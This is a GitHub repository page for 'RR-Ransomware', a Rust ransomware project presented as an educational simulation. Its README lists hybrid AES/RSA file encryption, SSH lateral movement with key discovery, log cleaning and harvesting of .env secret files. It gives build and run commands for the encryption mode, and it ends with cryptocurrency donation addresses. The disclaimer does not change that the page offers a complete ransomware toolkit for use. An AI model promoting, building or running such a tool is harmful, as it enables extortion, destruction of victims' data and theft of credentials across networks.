Skip to content

K0D3IN/RR-Ransomware

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

RR-Ransomware v0.2.0

Rust License Version

WARNING: This software is for educational and research purposes only. Unauthorized use is illegal.

Overview

RR-Ransomware is a ransomware simulation tool written in Rust. It uses hybrid AES-256-GCM and RSA-2048 encryption and supports lateral movement across networks via SSH.

Features

  • Hybrid Encryption: AES-256-GCM + RSA-2048
  • Lateral Movement: SSH-based network propagation with key discovery
  • Operation Modes: Panic (encrypt), Scan (discover), Clean (logs), Full (all)
  • Decrypt Tool: Separate binary for file recovery
  • Env Harvesting: Automatic collection of .env files

Installation

# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# Install dependencies (Debian/Ubuntu)
sudo apt update && sudo apt install build-essential pkg-config libssl-dev

# Build
git clone <repo-url> && cd ransom && cargo build --release

Quick Usage

# Generate RSA keys
openssl genrsa -out private.pem 2048 && openssl rsa -in private.pem -pubout -out public.pem

# Encrypt
./target/release/ransom panic -r public.pem -a encrypted_key.bin

# Decrypt
./target/release/decrypt -r private.pem -a encrypted_key.bin -s /

Configuration

See config.toml for target directories, file extensions, and lateral movement parameters.

Legal

This software is for authorized security testing and academic research only. Unauthorized use may violate local and international laws including the CFAA and GDPR. The author assumes no liability for misuse.

Donations

XMR: 83iqXtvVu28ZiL9bsATMerSgbFFiD1J1jc96CcxJLEnAW3KBmBKedWnUAeLvLvEA9aBiUBpHQJs1iNHYtkTLZbNUEymobSS

BTC: bc1qmnlvpukcgl0hsr7nje0x8555mhtxjt80wtmlxm

License

CC BY-NC-SA 4.0. See LICENSE.

About

Ransomware simulation tool (educational) - AES-256-GCM + RSA-2048

Topics

Resources

License

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages